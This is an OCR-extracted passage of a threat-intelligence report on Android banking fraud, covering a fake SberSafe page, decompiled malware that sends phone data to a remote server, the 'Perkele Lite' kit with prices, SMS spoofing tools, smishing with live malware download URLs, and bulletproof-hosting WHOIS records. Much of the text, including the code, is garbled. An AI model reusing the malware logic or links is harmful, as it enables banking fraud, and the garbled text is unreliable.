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ABTOD ma Mobunbroro TenedoHa

Baw NWH-koa aKTUBaLMK

Yoanaembie KnHeHTbI!

Y1oGel BOWTK B CMCTEMY, HEOGXOAMMO YCTaHOBKTL NporpaMMy SberSafe Ha Baw mMoGHNbHSIA Tenedor. N NONMYYeHMA CCHUIKM HA NPOrPaMMy Bbl MOXKETE BOCNONL30BATLCH CKaHHEpoM QR-koaos,
YCTAHOBNEHHBIM HA BAILEM TENEHOHE WM OTMPABHMTE COLINKY Ha CBOH MOGHNEHBIA TENB(OH.

UroBil OTNRAEHTE CCuinky Ha NpOTpaMMy B CMC CooBWErHM, BRERHTE CROR HOMEP W HARMVTE KoMKy "OK"
+7 o
ipamenp 9031234567)

TMonomauTe, MAET 3arpyaKa CTPaHMLILI
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CbepbanHK OHJI@IHH —

npocro 6LICTPO, Ge30racHo!

Figure 22: Berstaska.com when active

Object leocalObject?2 = (TelephonyManager)gethApplicationContext () .getSystemService ("phone™);
1w.putline ("send Auth Request to:™ + paramStringl):
DefaultHttpllient localDefaultHttpClient = new DefaultHttplClient();
Object localObjectl = new HttpPost(paramStringl):
Object leocallbject3 = ">1|" + auPhone.getliumber() + "|" + paramString2 + "|" + "android™ + "|" + "Deviceld=" +
String str3:
try
{
localObject2 = new RArrayList({2);
{{List)locallbject) .add (new BasicNameValuePair("a", (3tring)leocallbjecti)):
{ (HttpPost) localObjectl) .setEntity (new UrlEncodedFormEntity{(List)localCbject2, "UTF-2")):
localCbject3 = localDefzultHttpllient.execute | (HttpUriRequest)localObjectl) .getEntity () .getContent ()
localObject2 = new byte[256];
localObjectl = new StringBuffer():

Figure 23: Malware code snapshot

The malware establishes the function for sending and receiving SMS-messages using
the following event handler:

EESTEESEHEEETHRE (rUT2 " BE 2W2d5TTASLE]" TOCSTIULSULETTLSE' DATT' 1ATT):
TOCSTIULGULETTLEE = UeM [ULEULETTLEE (,2H2 DETIAEKED.)

Figure 24: Malware event handler

Received messages are processed and stored in the appropriate format in a file called
«messages.txt» and can be sent to the above remote server. Investigating actions are
logged in a file called «alarms.txt».

The interception of SMS used in the authentication process is a useful tool in the hands
of cybercriminals who are intent on committing banking fraud. Banks and financial
institutions in many countries, including the US and Canada, use One Time Password
tokens sent via SMS as part of the mobile banking process. Clearly an attacker
intercepting these could complete fraudulent transactions.
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Another new mobile malware in-the-wild that focuses on banking fraud is called
‘Perkele Lite’. It costs $7 000 for a configured file or $12 000 for preparing and placing
it on Google Play WEB-site.

‘Perkele Lite” comes with its own C&C interface as well as exclusive functions that
design the application to appear the same as the legit banking applications.

ANDROID BOT ﬁ‘s‘ 5
"PERKELE"?"

HMckaTs B 3TOM paspene v

Spring Update:

A nogxoauT nog Boe BaHKKM Mupa.
o C 8 HYWHOE KONWYECTBO BPEMEHH
3. CKPbITHE BCEX BXOAS ( CMC H& BPEMA NEpPEXBaTa
. ¥aobHan agMuH naHenbs gnA ynpaeneHwa Gotamu

Universal kit
Price: 7000 wmz

Universal kit + Play.Google.com + Site
Price: 12 000 wmz

MpunoxeHWe Noa KOHKPETHBIA Bank 700 wmz

The ‘Perkele Lite” malware has designs for the most popular banks in the UK, AU,
AUS and US.

3) SMS Spam/Spoofing

Cybercriminals use dedicated servers or Virtual Private Servers (VPS) to gain
maximum advantage when sending spam via a wide range of mobile numbers. Others
tools such as text randomization, URL shortening engines and timeouts provide
additional options for the spammers.
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Homepa ICQ 1 naponi:  3arpysiTe  HoMmepa TenedoHoB: 3arpys|Tbe HDopMaLYA:

[ = PRk . | Brero cooBweHmit onA cnama: 0
Bcero Homepoe TenedoHos: 0
Brero Homepos ICQ: 0
OrnpasneqHo CMC: /]
Beero owmbok: [i]

3aAepHKa MEXRAY OTMPABKOA CMC:
2000

[ ParnommamMposaTe TekcT

YKOPOTHTE COBINKY: —

o

Baww coobuieHmA: 3arpysuTb http://

| PesynoTar:

[ YKOPOTHTE CCRIKY

Figure 25: SMS spamming tool by klychev with text randomization option

(J MUSenderSMS v1.0 = 5

Figure 26: Famous SMS spamming tool used Mail.ru Agent features for SMS sending

Some of the private tools are written for the Clickatell API® and gateway in order to
generate SMS spoofing techniques which cybercriminals use to carry out fraud.

SMS spam services use API's to spoof mobile phone numbers. Any random mobile
number can be used.

8 http://www.clickatell.com/clickatell-products/online-products/sms-gateway-developers-central/?cid=37767
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| BB sms24x7.ru

Apple iCloud Facebook Twitter Wikipedia fAnnexc Yahoo! Hosoctn™ Monynapeele ¥ B

MuHeT B... Penetrat... XaKkepcK... KoHb B... ipht

Huxe pa3o6bpaH npumep ucnok
SMs24x7, KOTOPYI0O MOXKHO CKaua
oHa 6yaeT coxpaHeHa B TOW e J

<|=-=?php</code-->

<code>require_once "sms24x7.php";

$email = "userfexample.com";

$password = "XxKXXKKXXXXXXXXXXX";

$phone = "7Txxx¥YYyyzz';

$phones = array(" 7xxxYYYyyzz", "TuuuWWWllkk");

$dlr_url = "http://example.com/test.php?state=%d&amp;phone=%p";
$dlr_mask = 35;

Figure 27: Mobile number spoofing via customized APIs

OS vulnerabilities facilitate the potential for mobile devices compromise and increase
the opportunity for SMS spoofing.

Erom: Credit Union N.A
Ne have observed

A A=
1s activity on

susSpICIOUS

§] =
scaution Please call us
sy at 1 -900-

WX -XXxX or visit Nitp

"J" ou

Figure 28: Example of a 'smishing” attack sample aided by the internal functions of a
compromised mobile device

One known ‘smishing” vulnerability was tested across a number of Android-based
smartphones: Google Galaxy Nexus, Google Nexus S, Samsung Galaxy SIII, HTC One
X, HTC Inspire, and Xiaomi MI-One. It was found that the internal SEND_SMS
function could be hijacked to carry out ‘smishing’” attacks’.

¢ Smishing Vulnerability in Multiple Android Platforms (including Gingerbread, Ice Cream
Sandwich, and Jelly Bean) - http://www.csc.ncsu.edu/faculty/jiang/smishing.html
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HTC Motorola Samsung Google
Permission Legend EVO 4G | Wildfire S Droid Droid X Epic 4G Nexus One | Nexus S
E |1 ‘ E |1 ‘ E |1 E |[I|E |1 E |1 E | 1 E |1
ACCESS.COARSE.LOCATION v |V - v . . v .
ACCESS FINE LOCATION v . v . . Vv . . o . . .
CALL PHONE - . . . . . . . . . v 7
CALL PRIVILEGED . . . . . w1 . .
CAMERA v . v . ' . - . . . . . . . .
DELETE PACKAGES || v? | - | /2 /2 N B T e R Y R e
INSTALL PACKAGES . . - . . . . . . . . . .
MASTER.CLEAR . . . . . . . . . . 7 .
READ PHONE STATE . v . v . v - - I . . e
REBOOT - - 4 - - - - - . . .
RECORD-AUDIO s v s .
SEND.SMS v v ' .
SHUTDOWN - . v .
Total 6 2 8 2 4 4 1 0 4 0 3 2 1 0 1 0

Figure 29: Capability leak results of eight Android-based smartphones - SEND_SMS

4) Mobile Intrusion

Smartphone geo-location vulnerabilities enable cybercriminals to target crowded
places such as shopping centers, parks, business centers, etc,. Using customised
Bluetooth devices and Near Field Communication (NFC) to “pair” with smartphones
in the locality, fraudsters can distribute malware or execute AT (attention) commands
on the smartphones of unsuspecting users. Some are used to send SMS to paid
numbers or to carry out ‘smishing’ attacks.

One method involves placing a customised Bluetooth device and antenna in a vehicle
parked in the locality. Once “paired” with a targeted device the smartphone is
controlled remotely through a 4G modem and the external IP through proprietary
software packages such as “TeamViewer’.

nomoE it Tentn i st nognasi
CERQHEHALM BT JW1-FI H EPEY TEAMVIEWER

P oermmmates e

Figure 30: Cybercriminals using Bluetooth device and antenna to "pair” with smartphones in
crowded places

10 Systematic Detection of Capability Leaks in Stock Android Smartphones
(http://www.cs.ncsu.edu/faculty/jiang/pubs/NDSS12 WOODPECKER.pdf)
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There are many penetration testing tools used to spread malware and to exploit remote
mobile devices. Hackers use devices such as Nokia N800 customised with Linux
Maemo or linux binary compatibility or Nexus 7 on Google Android.

Figure 31: Pwn Pad — a commercial grade penetration tabletn

Some devices have been developed especially for hackers, for example ‘PwnPad’.

Well-known vulnerabilities are exploited by similar types of tools based on the
following attack vectors:

e OBEX (Object Exchange) through Bluetooth in the same wireless environment;
e Rogue AP & Evil Twin for IEEE 802.11 Wi-Fi networks (Rogue DHCP, DNS
spoofing).

A popular medium used to distribute malware is via ‘guest networks” or public
applications. Devices that work autonomously, for example, customised Kismet
drones'?, or modern APs can be programmed for wireless interception and spoofing.

1 http://pwnieexpress.com/collections/pwn-pad/products/pwnpad

12 http://www.dd-wrt.com/wiki/index.php/Kismet Server/Drone
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Figure 32: Sniffing in action

Fake geo-location and geo-coding applications for smartphones facilitate spying,
detection and intrusion into the personal lives of users. When using such services it is
possible to obtain the location of a smartphone simply by sending SMS to the mobile

number.
Neo | Filename Data, bytes | Hash, md5
1 | android_update_40842.apk 68 171 D9F0A7BB2A7E2A5EEA A25147D107EBFD
2 | android_update_40842_2.apk | 103 671 1177F1D0A86BODD1DB9C5695B447C797
3 | android_update_40842_3.apk | 102 550 18A8DDB1E628D0A1373BE7CA866752AD
4 | android_update_40842_4.apk | 101 818 94751366328D6C59F50F016066D47825
5 | browser_update.apk 73767 93E0376B5A ABSESD57 ABFF04EB7D24B0
6 | critical_update.apk 107 770 F40FEBAB1DEB5EE7 A4F0C3C09B369355
7 | skype.apk 120 353 758FDBEF4087835B257504C9601B4C76
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Smishing & Phishing

Scam text messages provide an easy conduit for cybercriminals to commit fraud. The
variety of scam SMS is wide, innovative and never seemingly lost for new approaches
that appear believable to the mobile user.

The sheer quantity of SMS mailing providers facilitates the task for the fraudster.

Easy SMS Mailing: Accueil

www.easysmsmailing.com/ - NepesecTy 3Ty cTpaHWLy
Easy SMS Mailing interface de gestion de campagnes sms développée par Bewoopi.
Envoi de sms individuel ou en masse.

Home | Easy SMS Mailing

www.easysmsmailing.com/en - NMepeBecTi 3Ty cTpaHuLy
Easy SMS Mailing is a web-based interface that allows you te manage your SMS
campaign. Send one or many texts at once.

SMS Direct: Direct Mailing Service

www.smsdirect.com/ - NepeeecTu aTy cTpaHuuy

Woe have spent years developing a suite of outstanding programming tools and easy to
read reports to meet every possible direct mail need. Our outstanding ...

Mass sending of SMS via Internet - OVH

www.ovh.co.uk/sms.../sms_ma... - NepesecT aTy cTpaHWuLy

Included. With your SMS pack. Mass mailing from your Manager. Write your message.
Your message can contain up to 1600 characters (equivalent to 10 SMS).

SiMSMail.com — email to SMS- Send SMS by Email -
www.smsmail.com/ - NepeBecTi 3Ty cTpaHuLy

SMSmail.com Send SMS by email Worldwide From any email address. No software
needed with email to SMS and with your own Sender ID. Free SMS with ...

Figure 33: Fraudsters can choose from a wide choice of SMS mailing provider

Cybercriminals can also choose from a number of widely available SMS-ICQ transport
services offering software that can be used to support anonymous ‘smishing’” attacks.

"Hello, you will find our fotos here wap.bOolt6jwxfq3.pz9l.ru/, download and then call
me, don’t tell to anyone please!"

This link leads to: http://updateqp.com/, followed by a download to the following
malware by link: http://filevk.com/l/bu/browser update/u/7643/Browser Update jar.

The download will only successfully complete on the following smartphones:
"Mozilla/5.0 (SymbianOS/9.4; U; Series60/5.0 Nokia5800d-1/21.0.025; Profile/MIDP-2.1
Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413".
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Bulletproof Hosting Providers

The infrastructures that support online services are the same for all devices whether
that is a desktop PC, laptop or mobile phone. Therefore, the principle that ‘everything
is hosted somewhere” also applies. Equally, ‘bulletproof hosting providers” exist for
smartphone services in the same way that they exist for other cybercriminal activities.
In some cases these may be the very same providers.

In Section 4 Smishing we looked at a smishing attack that leads to a download link.
Now we look in detail at the domains and hosting providers behind the attack.

Both of the domain names behind the download were delegated to the same IP of a
bulletproof hosting provider:

$ host filevk.com filevk.com has address 91.202.63.148
$ host updategp.com updategp.com has address 91.202.63.148

Virgin Islands, British Road Town Akrino Inc

inetnum: 91.202.60.0 - 91.202.63.255
netname: AKRINO-NET
descr: Akrino Inc
country: VG
org: ORG-AI38-RIPE
admin-c: IVM27-RIPE
tech-c: IVM27-RIPE
status: ASSIGNED PI
mnt-by: RIPE-NCC-END-MNT
mnt-by: MNT-AKRINO
mnt-lower: RIPE-NCC-END-MNT
mnt-routes: MNT-AKRINO
mnt-domains: MNT-AKRINO
source: RIPE # Filtered
organisation: ORG-AI38-RIPE
org-name: Akrino Inc
org-type: OTHER
address: Akrino Inc.
address: P.0O.Box 146 Trident Chambers
address: Road Town, Tortola
address: BVI
mnt-ref: MNT-AKRINO
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mnt-by: MNT-AKRINO

source: RIPE # Filtered
person: Igoren V Murzak
address: Akrino Inc
address: P.0.Box 146 Trident Chambers
address: Road Town, Tortola
address: BVI

phone: +1 914 5952753
nic-hdl: IVM27-RIPE

mnt-by: MNT-AKRINO

source: RIPE # Filtered
route: 91.202.63.0/24
descr: AKRINO BLOCK #4
origin: AS44571

mnt-by: MNT-AKRINO

source: RIPE # Filtered

More than 421 malicious mobile websites use this address. (examples: 39mobi.com
42mobi.com 56file.com 72mobi.com).

The WAP-site details:

$ host wap.bloltojwxfg3.pz9l.ru wap.b0olt6jwxfg3.pz91.ru has
address 192.34.59.25 (United States New York City Digital
Ocean Inc.).
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